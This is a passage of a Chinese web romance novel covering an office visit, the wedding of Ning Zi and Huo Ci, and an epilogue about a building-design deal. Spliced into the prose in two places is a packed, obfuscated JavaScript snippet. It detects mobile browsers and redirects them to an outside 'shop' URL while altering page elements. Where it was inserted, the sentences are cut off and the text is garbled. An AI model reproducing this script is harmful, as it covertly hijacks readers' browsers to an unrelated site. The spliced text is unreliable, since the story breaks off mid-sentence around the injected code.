电梯到十九层停下,经过公共工作区域时,员工们的目光纷纷向她投来,都想趁机看一下未来老板娘长什么模样。只见女生身材姣好,皮肤白皙如雪,明眸善睐、唇红齿白,长发尾部烫了卷,慵懒地垂在背上,即便穿着职业风,依然显出别样风情,是个让人看一眼就忘不掉的美人。他们中很多人都觉得能嫁给霍总的人真是好福气,见了本尊,倒觉得霍总本人也是好福气。 其他人都不知道,宁姿脸上维持温和礼貌的笑容,每走一步,脚都在痛,那滋味让她想起了强行把尾巴变成双腿,走路如同踩在刀刃上的人鱼公主。 “霍总在开会,麻烦您先在休息区休息一会儿。”霍辞的办公室门安装了指纹锁,只有他自己能开,平时不让人进去,秘书也没有权限。 宁姿欣然同意,赶紧坐在吧台前的高脚凳上解放双脚。 可休息区就在办公区域旁边,中间隔着一道玻璃墙,里面发生的一切外面都看得一清二楚。宁姿感受到员工们时不时朝她这边投来的目光,觉得自己像动物园里展出的猴子一样,怪不自在的,连杯子里的奶茶都不香了。别人看她,她也不好直接看回去,眼不见为净,于是从书架上取了本讲世界著名建筑的杂志翻了起来,很快看得津津有味,连时间过去了多久,都没有感觉。 直到不远处响起一阵皮鞋与地面碰撞的声音,秘书恭敬地喊了声“霍总”,她才抬起头。 一身正装、气场威严的霍辞整跟身边的男人交代什么,那人走后,他朝秘书点了下头,抬步朝休息区走来。原来他在工作场合是这样的,比私底下和她在一起的时候严肃多了。宁姿能明显感觉到他的威慑力,一直肆无忌惮朝她这边打量的员工们全都切换成埋头苦干模式,夹杂眼角余光偷瞄。 她把书倒扣在桌面,站起身,笑盈盈地朝他走去,忘记脚被磨破的情况,刚迈出一步,表情管理就失控,眉皱了一下。 霍辞加快步伐来到她面前,“脚怎么了?” “被新鞋磨破了。”宁姿小声委屈地说。 “不合脚的鞋,为什么还穿?”他显然对这个回答不满,眉心跟着微微一凛,反问道。 宁姿抿了下唇,心虚地朝员工区域瞄了一样,随后伸出手牵住他的袖口小幅度扯了扯,音量更小,语气更委屈了,“我第一次来风庭,那么多人看着,给我留点面子。” 霍辞看起来严肃冷峻,偏就吃这套,唇角已升起小小的弧度,骄傲地略扬起轮廓清晰的下颌,“下不为例。” 有了这句话,宁姿总算安心,但很快她就发现自己安心得太早,因为下一瞬,他猝然逼近一步,一手按住她的肩,一手绕过她的膝弯,将人打横抱起。与此同时,办公区响起一片惊叹声,可见摸鱼看八卦的人不少。 宁姿的口中不自觉溢出一声轻呼,随后急切用双手掩住,但和掩耳盗铃没有任何区别,一股热意从脖颈蔓延至耳后根,她把脸转向他的胸口,潜台词是—— “救命,没脸见人了……” 霍辞的办公室在走廊尽头,把人放在沙发上,宁姿仿佛灵魂被抽走,表情呆呆的。他好笑地伸手在她眼前晃了晃,“想什么呢?” “是我问你在想什么?怎么能在那么多人面前……抱我呢?”她连说出口都感到羞耻。 霍辞一脸坦然,“你要面子,我当着那么多人面抱你走,给你当交通工具,还不够有面子?” 宁姿才不信这是他的思维逻辑,绝对是故意的,气哼哼地想去拧他的腰,却被他双手按住肩膀,压在沙发靠背上。 “别动。”霍辞低声道,旋即蹲下身,一只手握住她纤细的脚踝,另一只手脱她的鞋。 宁姿的脚比较敏感,往后缩了缩,却没能逃脱他手掌的控制,颤声问:“又要干嘛?” 霍辞不理她,把两只鞋都脱了,放在一边,仔细观察她的脚。脚趾有些泛红,左脚后跟磨破,有血痕,右脚情况要好一些。然后他从一旁的抽屉里取出创可贴,撕去包装。 原来是替她处理脚伤……宁姿依然有些不好意思,心跳速度比平时快了许多,努力不让自己的表情看起来太僵硬。 办公室的门只是虚掩着,忽然被敲响。 “进。”霍辞低声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁姿不想为难他,努力堆起假笑,“可以麻烦您先回避一下吗?我有话要和你们老板说。” 张律师得到霍辞的同意,出去时关上门。 霍辞从她手里接过文件,没有翻开,偏头瞧着她瞧了数秒,问:“闹什么脾气?” 宁姿心里的火本就蹿起,也没打算往下压,索性承认,“霍总,您打算什么时候和我离婚?” 他知道她不高兴的点,柔声细语和她说:“只是让你在物质层面有保障,是我对你的心意。” “这心意我不喜欢。”她油盐不进,语气依然凶巴巴的,“你说,我爱钱吗?” 霍辞没回答,促狭一笑。 她音量丝毫不弱,“我爱钱,还喜欢名声、地位,世俗的成功都是我喜欢并且追求的,但我不只爱这些。如果你不在我身边,就算有这些,我也不高兴。” “不会有那一天,这份协议只是一份安心。”他诚恳道。 “没有那一天,这些就只是废纸。”宁姿坚持自己的观点,还小声嘀咕了句,“而且晦气。” 霍辞直视她的脸,女孩的五官轮廓秀丽婉柔,神情却十分倔强。他思忖了一会儿,把文件放在一旁的茶几上,“把它粉碎了。” 宁姿脸上终于露出笑容,轻快道:“英明。” 她坐在沙发上,仰头看着霍辞,两只漂亮的杏眼弯作月牙形。霍辞倾下身,两只修长手臂撑在她两侧,逼得她脊背紧贴沙发靠背。他的鼻尖缓缓在她脸颊上蹭了蹭,微笑道:“吃不了亏,我的一切都属于你,因为……我属于你。” 修长的身姿,在她身上落下一层薄薄的影子,二人唇角都挂着明朗的弧度。一副欣悦神情的宁姿,自然地抬起手揉了揉他的发顶,心中被蜜意填满。 没错,他属于她,这是莽撞的开始,是贪心的目的,也是心满意足的结局。 85. 第八十五章 婚礼场地订在霍氏饭店的大宴会厅,新娘从“红鼎轩”被接走。两大老牌饭店的联姻,成为江城市民茶余饭后的一段佳话,而霍辞风庭集团创始人的背景,又把这件私事变成爆炸性新闻,登上经济及娱乐版块的头条。 宁姿的婚纱并不是从婚纱店里定制的,霍辞把宝燕斋的门槛都快踏破了,终于磨得燕老板出山设计制作这件古典与现代元素相结合的高级重工婚纱。 主纱轻盈又繁丽,如同一幅优美的画卷铺叠开来,细腻地描绘出宁姿玲珑有致的身姿,上绣的祥云图案显露着典雅的古意,值得一提的是领口、袖边、裙身上坠了许多璀璨的碎钻,如清晨露珠般剔透清澈,奢华又梦幻。即便如此,没有夺去新娘分毫的光华,她容颜秀美,难得上了稍浓一点的妆,像画中仙,美到失真。 燕老板满脸笑容,赞道:“没辜负我的一番心血,唯有你这样清丽脱俗的大美人才衬得上这身婚纱。” 宁姿发自内心感动,看着慈爱的燕老板,感觉自己像又回到小时候,受到长辈的关爱,“您费心费力了。” 老人家调皮地晃了晃折扇,“我之前推脱是逗弄霍辞那小子,好叫他常来陪我。其实我把他当作自己孩子疼爱,把你也看作自家闺女,你们的礼服自然由我负责,否则我还不高兴。” 宁姿心头一片酸软,“这话是您亲口说的,不能反悔,我心里也把您当作自家长辈来看。” “如果你不嫌弃,待会儿上台,就由我代行父亲之职把你亲手交给那小子。” “是我的荣幸,实在感谢。”宁姿眼眶一热。 一旁的钟姨妈见了,赶忙拿纸巾替她小心拭去眼角的泪珠,“可不能在这时候哭,妆都化好了,哭花了眼,让宾客们看笑话,快忍一忍。” 宁姿仰起面,破涕为笑。 “给你讲一桩趣事,钟大风还记得吗?就是大闹你订婚宴的无赖二舅公,他听说你嫁的男人有本事,吵嚷了半个多月说要来看你们,实际是捞好处。后来又说定在婚礼当天来,非要找你们讨个大红包。”钟姨妈边说边摇头。 宁姿对那人印象坏透了,也不打算顾什么亲戚情面,就算来他来,也绝不放他进门。这一回婚宴,宁姿的亲戚那边只请了关系比较亲近的,闲杂人等一律没通知。 “前几天,他久不归家的儿子露面了,在外面欠了一屁股赌债,穷途末路回家避一避,结果不知怎么的,把老头子藏了许久的钱给找着了,拿出去又是一顿赌,输个精光。这会儿,爷儿俩互相掐架,也就忘了出门的事了。”钟姨妈说起来都觉得可笑,“他那儿子铁了心赖在家里啃老,有这小无赖在,老无赖的清静日子也就到头了。” “恶人自有恶人磨。”宁姿叹了声,听见门外有喧哗声,好奇地转头望去。 钟姨妈笑容灿烂,“新郎官来了,我得去门口拦一下,不能让他轻易进来。”话音才落,她抬脚就向门口冲。 房间门口聚了许多人,叶丽佳、文成、董筱三人并排站中间,形成一堵人墙,把门给封住了,每个人脸上都洋溢着喜气的笑容。 霍辞停在他们面前,一身剪裁合体的礼服将他本就优越的身材衬托得更加笔挺,袖口及衣摆处绣有浅蓝色的山海飞鹤,比碧水山川更显清妙风雅。脖下方闪烁着群星般辉芒的领带更是点睛之笔,正是宁姿送的那一根。 钟姨妈掩嘴笑,“小青年们可拦好了,不许放他接走新娘。” “您就放心吧,我备了好些刁钻的游戏,不过关,就过不去。”叶丽佳兴冲冲应和。 董筱也跟着笑,“我和文成也出了几道题目。” 他们皆是有备而来,霍辞却丝毫不慌,采取逐一攻破的策略,先对叶丽佳说:“介绍下,这位是我的合伙人刘成,哥伦比亚大学MBA,主攻工商管理。他身后是红云堂创始人,听宁姿说你们都爱用这个品牌的护肤品,应该有共同话题。侧后方那位是万宁商城的CEO季弘新,是生意上的合作伙伴,也是我的好友。他们都是今天的伴郎。” 叶丽佳眼都舍不得眨,目光在这帮年轻有为的青年才俊间扫来扫去,眼花缭乱。 刘成笑着说:“这位可爱的女士,我们很想和你聊聊天。” “我有空,聊什么?”叶丽佳被美色所迷,完全忘记自己的使命,身体很诚实,已经站在了伴郎团那边。 董筱无奈摇头,“真没用,我和文成可没那么好糊弄。” 文成上前一步,配合她的话,一副要和霍辞强硬到底的样子。 “霍辞。”人群后的屋子里传来一声清脆柔缓的声音,身着白色婚纱的清雅佳人出现在众人的视野里,后面是漫漫曦光将她簇拥,晃眼间,仿佛来自九重天上的女神降临凡尘,给人以美至震撼的视觉冲击。时间仿佛被静止,所有人都没出声,安静得落针可闻。 宁姿如画般娇妍的脸上绽放出纯真的笑容,“领带很衬你。” 霍辞的眸中盛着洁白的身影,对上她含笑的目光,心口柔软得一塌糊涂,似化了水一样,快步迎上去,与她面对面,“你的裙子很美。” “只是裙子?”她不大满意,追问。 自窗口涌进来的日光盛灿,照得人面庞发红,霍辞清了清嗓,回应,“人更美。” 钟姨妈恨铁不成钢地拿胳膊肘轻捅了下宁姿的腰,脸上的笑容却越发明快,“瞧你个没出息的丫头,我们还没怎么为难新郎官,你怎么自己跑出来了?” 宁姿笑盈盈答道:“今天打扮得很好看,我想快些看到他的反应,这叫女为悦己者容。” 董筱直摇头,“白费我们辛苦搜刮来的题目,谁能想到你这么急切。” 同样急切的事还发生在婚宴现场。 宴会厅被布置得繁华绮丽如幻境,以“月亮”为主题,色调是高贵典雅的淡金色,光影效果堪称震撼,令人感觉仿佛真的置身圣洁月宫。 而最美的那一弯“月亮”正坠在新娘瓷白柔美的颈间,正是新郎曾赠予她的“月柔玉净”。宁姿的腕间戴着“一见倾心”红宝石手链,从头到脚所有穿戴配饰都是他精心挑选的。 有人说做事业的男人终日在尔虞我诈的生意场上拼搏厮杀,自然没那么多儿女情长,可霍辞不是这样,他的外表冷酷锋芒,极具欺骗性,却捧着一颗最赤城柔软的心对她百般疼爱与呵护。 燕老板悄悄告诉她,霍辞也参与了婚纱的设计与制作,他非常重视这场婚礼,从场地布置到流程安排,任何细节他都亲力亲为。而这一切,他从没对她说过。 场内的灯光暗下,仅留下两束追光,一束落在台中央矜贵绝世的新郎身上,另一束落在门口清雅出尘的新娘身上。宁姿竟觉得此情此景和多年前高中毕业时她莽撞跑去找他的那个夜晚尤其相似,那时她心心念念的都是他,此刻他们满心满眼只盛着彼此。 “有请慈爱的长辈挽着新娘的手,领她来到新郎面前,把她交给爱人。”司仪拿着话筒说。 燕老板和善一笑,神色里满是温情,挽着她的手朝前走。台下众位宾客注目,眼神里全是善意的祝福。 霍老夫人眼眶湿润,拿起巾帕擦拭泪水,面上扬起祝福的欣慰笑容。文成嘴角也噙着笑,曾经一段时间,他钦慕宁姿,随着相处日久,一起经历过许多事,他真心把宁姿与霍辞当作至交好友,祝福他们恩爱到白头。董筱和叶丽佳作为伴娘跟在宁姿身后,表情截然不同,感性的董筱已被气氛感染,感动得落泪,叶丽佳一如既往的粗线条,边咧嘴笑边小声称赞这对新人的颜值太高了。朱依玲特意请假赶回江城,主动请缨担任婚礼摄影师一职,每分每秒保持警觉,随时准备抓拍下新人美好的一幕幕。 然而发生了令人意想不到的一幕,在众目睽睽之下,霍辞大步流星朝着宁姿走去,不顾身后司仪的阻拦。 “新郎,流程错了,您得在台上等候。”司仪压下话筒,小声提醒,霍辞充耳不闻,很快来到宁姿面前。 宁姿的脸上也写满错愕,小声问:“你怎么过来了?错了,要不……你退回去?” “没错。”他长睫轻颤,低头看着她,“看到你朝我走来,我无法做到无动于衷,定要向你奔赴。” 宁姿有些呆愣住,紧接着就是铺天盖地的感动将她淹没,轻轻说:“我要对你很好很好,可似乎不管怎么对你好,都不够,因为你就是全世界最好的霍辞。” 燕老板看着面前这对至善至纯的有情人,也为他们的爱情而动容,郑重道:“小辞,我现在把你深爱的女孩交给你,请务必记住今天,以尊重、关爱、体贴的心与她携手共度今后的人生,直到生命的终结。” “我会。”霍辞认真答道。 老人将二人的手交叠在一起,在聚光灯投射的璀璨华光与伴娘、伴郎洒下的花瓣雨中,英俊挺拔的新郎牵着他挚爱的新娘朝台中央那轮散着莹莹暖光的“月亮”方向走去,他们十指紧扣,亲密无间。 脚步停住时,灯光大开,一束束绚烂夺目的光芒如星辉般倾泻而下,落在两人的肩头、发梢,辉煌而柔美,流光溢彩,美不胜收。 司仪刚要拿起话筒说话,霍辞已抢先一步单膝下跪,他的上身挺拔如松,骄矜清贵丝毫不减,却甘愿为一人俯首称臣,迫不及待问出心中早已笃定答案的那个问题,“宁姿,你愿意成为我正式的妻子吗?” 她心中被暖意填满,笑着垂眸看他,丝毫不掩饰幸福的神情,“我愿意。” 霍辞粲然一笑,生怕她反悔似的,把婚戒套在她的无名指上,整个速度之快,别说在场的宾客,就连宁姿本人都没有反应过来。他站起身,从戴上戒指后就牵紧她的手,没有松开过。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434232|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宁姿有点哭笑不得,整理了一下表情,问:“霍辞,你……” 才刚叫出他的名字,霍辞立即声音洪亮地抢答,“我愿意。” 宾客席立马响起一片笑声。 宁姿脸颊发热,小声嗔怪,“我话还没说完。” 他低笑道:“只要是你说的,我什么都愿意。” 拿他没办法……宁姿也为他戴上婚戒。 霍辞顺势抓紧她的手指,低下头亲吻她的手背。他的唇瓣柔软而滚烫,触及每一寸肌肤都会掀起一股细微的电流,他的唇流连在她的手背,并未移开,而是一路啄吻至戴着婚戒的无名指节,原本冰白的肌肤也被染上绯红一片。 当他黑眸抬起,正好与她四目相对,向来深晦的瞳眸此刻翻涌着热烈的情愫,单手轻捏住她精致的下巴,唇瓣突然压下,在她娇嫩的唇上吮吸,一深入,与她的唇舌醉人缠绵。 这举止大胆、急切,却又十分唯美,极具视觉冲击,把其他人全都看愣住了。被忽略个彻底的司仪率先回过神来,对着话筒说:“这对新人还真是心急,既然已经快进到新郎拥吻新娘的环节,大家的掌声就快响起来吧!” 气氛被带动,现场掌声十分热烈,还有宾客在起哄。这些声音宁姿都听不见,她被那股熟悉的雪松香气包裹,而他蓬勃有力的心跳在她掌心热切释放。 宾客散尽,夜幕降临,一对新人回到星岸天麓的大平层,宁姿喜欢这里的环境,她和霍辞约定好,一段时间住这里,隔一段时间又回宁家别墅住。 进门时,宁姿扶着霍辞走,他喝了很多酒,醉得路都走不稳。宁姿没醉,她喝的全是饮料,被霍辞偷偷掉了包,现场宾客没有一人看出来。 好在最后换的那套敬酒服是一件材质柔软旗袍样式的长裙,侧边开了高叉,她才行动自如,若换了之前那套鱼尾裙,他大半个身子压在她身上,恐怕是寸步难行。 连拖带拽把人扶进卧室,放在软绵绵的大床上,宁姿总算解脱,站起身活动下筋骨,正打算进浴室浸湿一条毛巾替他擦拭身体时,却突然被人从身后拥住,她被吓到,唇边溢出“啊”的一声轻呼,下一秒双足腾空,被人拦腰抱起,惊诧抬起头,正对上某人墨般浓重的瞳眸。再一看,他神色清明,双臂有力,哪里有半点醉酒的样子? “你装醉。”宁姿控诉道。 没想到对方脸皮不要,“嗯”了一声,“否则那些疯子怎么可能这么轻易放我们走,今晚还有正事呢。” 宁姿脸颊迅速飘上两团红晕,尽量不去想他说的“正事”,“进门后只有我们俩,你却一路装醉让我扛你进来,分明是折腾我。” “喜欢你照顾我的样子。”不知是有意还是无意,他的嗓音略微喑哑,听起来有些委屈,又像是在撒娇,倒令她不好再说什么。 “你先放我下来。”她催促道。 “不放,我们不再是未婚夫妻,已经是被法律、被所有人承认的正式夫妻。”霍辞的语气有些骄傲。 “这二者有什么因果关系?” “意思就是,宁姿,你是我的。”他埋下脸,鼻尖在她柔软的颈项上蹭了蹭,痒酥酥的,低声道,“我也是你的。” 笑容不知不觉爬到宁姿的脸上,“老实交代,你第一次见到我的那天晚上,脑子里在想什么?怎么我叫你出席宴会,你真就听话出席,我向你求婚,你当场就答应订婚?” 霍辞闷笑两声,“现在才怀疑,不觉得晚了点吗?” 宁姿垂下眼睑,视线不知该往哪儿放,心里想着—— 果然,她才是猎物。 霍辞抱她坐在床上,将娇柔的身体整个圈在自己怀中,一只手把玩她腕间美丽的红宝石手链,“《一见倾心》,手链的名字,也代表我对你的心意。” “那个时候你就看上我了?” “否则你以为当初说的几句话真能打动我?”霍辞觉得她实在可爱,轻啄了下她的粉颊。 宁姿手掌贴着他的胸口,逼人往后退,板起小脸,“什么一见倾心,这种情况通常被称作见色起意。” “也没错。”他承认得很果断,“今天我终于如愿以偿。” 宁姿还想说些什么,忽然被他用唇堵住,只得生生把那些话咽了回去。 今夜的吻比以往任何一次都要温柔,霍辞像是在鉴赏佳酿一般细细品尝,按着她的肩一同倒了下去。房间里灯光熄灭,两人的视线都消失了,耳边响起的是此起彼伏过分急促而热烈的呼吸。 窗边挂了一幅巨大的落地帘,重重叠叠被风鼓动,面上绣着典雅和美的并蒂花开,将清幽的月光隔在窗外。晴夜幕空缀了璀璨星子,高远的穹空犹如一泓墨作的古画。 爱人的私语最是动人,留待一生一世慢慢聆听。 (正文完) 86. 番外 红光度假村位于溶河市华县镇东面区域,占地面积不大,四周是自然朴实的田园风光,地段偏僻,没做宣传,名气不大,要找过去得费一番功夫,尤其是要经过一条山道老路,颠簸不断,等车开到地方,宁姿觉得自己浑身的骨头都快散架了。 她没忘记自己的来意,喝杯罐装咖啡提神醒脑,直接进度假村客栈找前台。经指引,在小花园里找到了一个人下棋下得津津有味的中年男人。她安静地候在一旁,没有打扰,从随身包里掏出本书看。 卓昂早就发现她,一直不动声色,没想到女人虽年轻,却很有耐心,于是主动开口,“你在看什么书?” 宁姿读完一行字后,抬起头,合上书本,“《了凡四训》。” “有没有兴趣来一局?”卓昂直视她。 宁姿想了想,“话说在前头,我棋艺不精。” 真正和她对弈才知道,原来她刚才不是自谦,配得上臭棋篓子来形容。卓昂失去兴致,把棋子放回棋筒中,“你是特意来找我的?” “卓董,我想和您谈合作。”宁姿坦然承认。 “怎么知道我在这里?调查过?” 宁姿摇头,“凑巧,听一位商界的朋友说,每年这个时候,您都会在这里度假。” 卓昂没接话,意思是可以切入正题。她也不绕圈子,直接说:“请考虑和我们宁光建筑设计事务所合作,了解到贵公司属意在江城金季区拿下的那块土地修建综合体大楼,我希望说服您把设计版块交给我们宁光。” “这件事你该找刘经理谈,而不是越过他,直接来找我。”卓昂熟练掌握谈判的节奏,以不紧不慢的姿态说话。 宁姿并不紧张,她也只是抱着“试上一试总比什么都不做好”的态度,意外显得从容,“项目计划书已经交给刘经理,但希望不大。” “小刘不看好你们的设计?” “不,他没有看计划书,谈不上对设计看不看好,他不看好的是一家成立不过三年的新兴事务所。”宁姿直言不讳。 卓昂对她的来意有了猜想,“所以你想从我这里下手,说服我,小刘自然无话可说。” “对综合体大楼设计的灵感充沛,初步设计方案我自己很满意,想拿给您过目。反正只是看一下,您也没损失,反之,如果您喜欢我们的设计,却错失这份计划书,对您来说就是大损失了。”宁姿巧舌如簧,机敏中夹杂了几分真诚。 卓昂严肃的面孔缓和不少,厚实的嘴唇微微上扬,“这么说,你是来避免我受损失的?” 在社会上历练几年,宁姿把原本就不算薄的脸皮练得刀枪不入,她才懒得管对方是揶揄还是嘲讽,就当作对她的肯定,赶紧从包里掏出做成活页装订册的计划书,递给他,“我们团队到那块地实地考察了很多遍,对地形、地貌、周边建筑、片区内居民区及商业区的分布与类型都深入了解过,前三页是具体数据分析。中间部分展示了大量图片,有设计概念图和一些风格相近的建筑图片,后半部分是我们事务所现有的设计作品。有什么疑问随时问我,这份计划书是送给您的,装订成小册子,方便随身携带,之后有时间,可以细细翻看。” 卓昂没有推拒,翻开计划书,快速浏览一遍,“讲一下你们的设计理念。” 见他感兴趣,宁姿十分高兴,“我们查了资料,得知贵集团在全国范围内已有三家商业综合体,都在海滨城市,有大量海产品相关的商家入驻。比如东海市这家综合体,合作超市内供应大量新鲜海产品,除此以外,光是刺生店、海鲜火锅、海鲜烧烤等与海产品相关的餐饮店铺就多达二十八间,更不用提泳衣、潜水装备、游泳培训等其他与海洋有关类别的店铺。这些虽然没有明确写在贵集团的企业文化里,但以我拙见,做海洋的生意是你们较为擅长的经营类型。江城是内陆城市,不在海边,但可以延续一贯的经营风格。我建议入驻江城的综合体就以‘海滨世界’为主题,外观造型以白色为主体,海洋的蔚蓝作点缀,并增加海浪元素的设计。” 卓昂淡淡一笑,看不出喜恶,“你的想法很跳跃,仅仅为这些原因,就打算以‘海滨’为主题设计?” “江城市民对海洋有一种向往,麻烦您翻开计划书第三页,上面有引用《江城生活》杂志对市民的调查结果,明确显示多达百分之四十六的江城市民旅行时,选择去海滨城市,所以这份计划有理可据,可行性高。” “我还建议在西侧墙体安装大屏幕,滚动播放海洋画面,营造氛围。贵集团可以和水族馆、水上乐园合作,把咱们的综合体大楼打造成全江城独一无二的海洋世界。”宁姿的眼睛亮晶晶的,仿佛落成的综合体大楼已经在她眼前。 卓昂慢悠悠说:“你连入驻商户都替我们打算好了?” 不知是褒是贬,宁姿嘿嘿一笑,“这些是初步的想法,完全可以再调整。我们宁光事务所的宗旨是全心全意为客户服务,全力满足顾客需求,一定改到您满意为止。” 卓昂瞄她一眼,“就这么把计划书给我,不怕我用你们的创意,却不与你们合作?那可就竹篮打水一场空了。” “以贵集团的规模、您这般格局,做不出那种事。况且就算真发生那样的事,表面上是我们宁光吃亏,实际吃亏的是您。”宁姿想也不想,缓缓道。 “这话怎么说?” 她妙语连珠,“初步计划书只是皮毛,您难道不想看看结合实际情况和市场需求调整过后,最终定下的方案有多精彩?” 卓昂终于笑出了声,“这计划书我留着慢慢看,你留下名片。” “期待您的好消息。”宁姿笑逐颜开,留下一张名片,麻利离开。 傍晚,霍辞带她去了一间烧烤店吃晚餐。这间烧烤店在当地很有名气,建在河滩边,顾客可以一边享用可口的食物,一边欣赏长河落日景,惬意得很。 然而,宁姿赏景赏得太不专心,手机放在桌面最显眼处,一分钟要看上两三回。忽然听见手机震动声,她双眸一亮,赶紧拿起手机看。 “是我的。”原来是霍辞的电话,他交代一声后,走到一旁接听。 宁姿颓然放下毫无动静的手机,胳膊肘撑在桌面上,双手托腮。霍辞接完电话走回来,看到她恹恹的样子,没有回座位,而是绕到她身后,温热的双手抚上她的肩,“在等人电话?” 宁姿默认,“具体情况不想说,免得最终事情不成,我要面子的。” “在我面前也逞强?”他顿了顿,笑着问。 宁姿立马回答,“我盼着在事业上做出一番成就,让你刮目相看。” 霍辞举止自然地为她捏揉肩膀,力道不轻不重,她舒服得闭上了眼。 “白努力。”他低声在她耳畔说。 宁姿不满地睁开眼,“你看不起我?” “很早以前,你在我心里就已经无人可及,比我自己更优秀。”他理所当然道。 宁姿心里感动,拉住他的手,偏过头仰视他,“可我想让其他人也看到,我不只是霍太太,还是建筑设计师宁姿。” 霍辞自然懂她的执着与骄傲,“那你不做霍太太,我做大设计师的男人。” 宁姿终于被他逗笑,感觉颈间冰冰凉凉的,低头一看,后知后觉脖子上多了一条银制项链,底端坠了颗饱满璀璨的钻石。 “结婚纪念日礼物。”他缓缓说,目中似有暖光浮动。 宁姿表情错愕,“结婚纪念日?” “忘记了?”霍辞无奈,却也没有半分责怪她的意思,“原谅这一次,以后不许。” 宁姿绷不住了,笑出声,“被我骗了吧?我装得像吗?怎么可能忘,你以为我真当你来溶河出差,顺道带上我?其实我也做了准备。” 她邀功似的赶紧从包里掏出一个方形礼盒,递给他,“打开看。” 他伸手接过,似乎心情大好,扬唇笑了下。打开礼盒,里面是一支设计风格独特的机械表,表盘是四眼设计,银色边框线条流畅,表带由品质上乘的皮革加工制成,具有复古韵味,值得一提的是表盘边缘缀有碎钻,和宁姿的钻石项链意外相衬。 宁姿替他把表戴到手腕上,“我果然眼光好,挑的表和男人都是最好的。” 霍辞扬起唇角,安静的承认。 耳畔流水经过石头飞溅起水花的声响清脆如乐声,一直安静躺在桌面上的手机震动起来,宁姿扫了来电显示一眼,欣喜不已。 “真是一条幸运项链。”她笑眯眯道,抚摸了下钻石吊坠,走到河滩边接电话。 打来电话的卓昂却并没有带来好消息,而是说:“不得不承认,你给我的这份项目计划书合我心意,但依然无法放心把综合体的项目交给你。迄今为止,你们宁光只承接过小规模项目,多数是装饰建筑的设计工作,我给出的判断是经验不足。因此,我有一个提议,你们出个合理的价格,把完善后的计划书与设计图纸一并卖给卓林集团。” 宁姿怔愣许久,消化他的话,“不是把设计工作交给我们,只是购买创意,由其他设计师二创修改,请问我理解得对吗?” “是。” “每一份作品都倾注了设计师的心血,就像自己的孩子。任何一位设计师都希望能从头到尾完善它,而不是交给其他人,修改成意想不到的样子,这违背了最初的想法。抱歉,我不能接受。” 卓昂回应说希望她再考虑一下,结束通话,宁姿整理了一下表情,假装从容地回到座位。今天是结婚纪念日,她不希望因为工作上的事情扫了霍辞的兴。 然而她才刚坐下,霍辞就从她强颜欢笑的脸上看出问题,“工作上的事进展不顺利?” “你看出来了。”既然被拆穿,她也不必笑了。 霍辞把一串刚烤好的小黄鱼递给她,“没放辣椒。” 宁姿接过后咬了一口,调味香浓,外酥里嫩,胃口倒没随心情减弱。霍辞见她爱吃,又拿起一串烤,仔细地给面上抹一层均匀的油,“卓昂不是个好说话的人,你很勇敢,不用自责。” 宁姿有些吃惊,一根鱼刺黏在唇边,没察觉,“你怎么知道?” 霍辞看她模样呆呆的,微勾唇角,替她把唇边的刺拿下来,“卓林集团在江城建综合体大楼的事我自然知道,你们事务所成立时间短,只承接过小型业务,急于在江城打响名号,以你的性格,综合体大楼的设计机会又怎么会放过?只不过……” 见他欲言又止,宁姿有些失落,“你也觉得我人心不足蛇吞象,明明是间小事务所,却企图吞下这么大的项目?” “想有卓越的成就,想法不能受限,敢想是实现目标的第一步。就像人先有了翱翔于天际的梦想,才造出世界上第一架飞机。你没错,换作我也会这样做。” 原本的不开心被驱散很多,她重新鼓起勇气,“谢谢你的安慰,我不再怀疑自己,一次失败算不了什么,以后有好机会,我依然会努力争取。” 霍辞黑眸微敛,慢条斯理说:“我出面约卓昂。” “不用,你的好意我心领。”宁姿回绝,缓声解释,“不是客气,而是以客观角度站在对方立场思考这件事,卓昂不选择宁光无可厚非,经验不足的确存在风险。如果你出面作为搭线的桥梁,他大概率会松口,但不是出于原本的考量,那你会欠下人情,人情向来比债务更棘手。” 看她蹙着眉头认真分析的模样,霍辞轻笑一声,“我既开口,就代表承担得起。” 宁姿瞟了他一眼,站起身,走过去直接坐在他的大腿上,耍赖往他怀里钻,“老公,抱歉没选择风庭集团,而是坚持自己成立事务所,因为我想知道自己究竟有多大能耐。我是个矛盾的人,热爱你的光环,与你共享荣耀,但又想证明自己,独立去完成。既要又要,是不是挺烦人的?” “以退为进。”霍辞捏了捏她的胳膊,无奈道,“绕这么大圈子,无非是不希望我插手。” 既然被拆穿,宁姿也不装委屈了,双眼亮闪闪的,“我心里没彻底放弃,至少他把我的计划书留下了,代表他看好我们的设计方案,只不过对小事务所有成见。可谁又不是从没有经验到积攒起经验呢?” 她抱怨一通后,语气反而淡然了些,“但能理解对方的决定,凭什么给他人历练的机会,承担风险的却是自己。” “我不以私人名义替你出面,但以集团名义向你们宁光抛出橄榄枝。综合体大楼的项目,我们一起合作,你们事务所与风庭项目团队组成临时项目组,设计版块以你们为主,其他部分由风庭团队主导,你们的团队依然有影响决策的权力,通俗点讲,你们负责设计,我们负责实施,但以合作形式,每个阶段需要磨合后达成共识。”霍辞不疾不徐道,“卓昂的顾虑也会打消。” 宁姿犹豫,“你是为了我?” “只是一方面,你知道,牵涉到集团利益,我从不偏私。你们事务所需要打响名气,舍去部分利益也合算。而风庭有意拿下这个项目,现在知道卓昂对你们的计划书满意,不如各取所需,三方得利。” 这张嘴不得了,听得宁姿笑逐颜开,完全想不到理由拒绝,也没有亏欠感,于是端起盛果汁的玻璃杯碰了下他的酒杯,“霍总,合作愉快。” 霍辞看她终于高兴起来,埋头喝了一口酒,放下酒杯后,把人圈进自己怀里,下巴抵在她的肩窝,“卓昂那边交给我,现在可以集中注意力庆祝结婚纪念日了吗?” 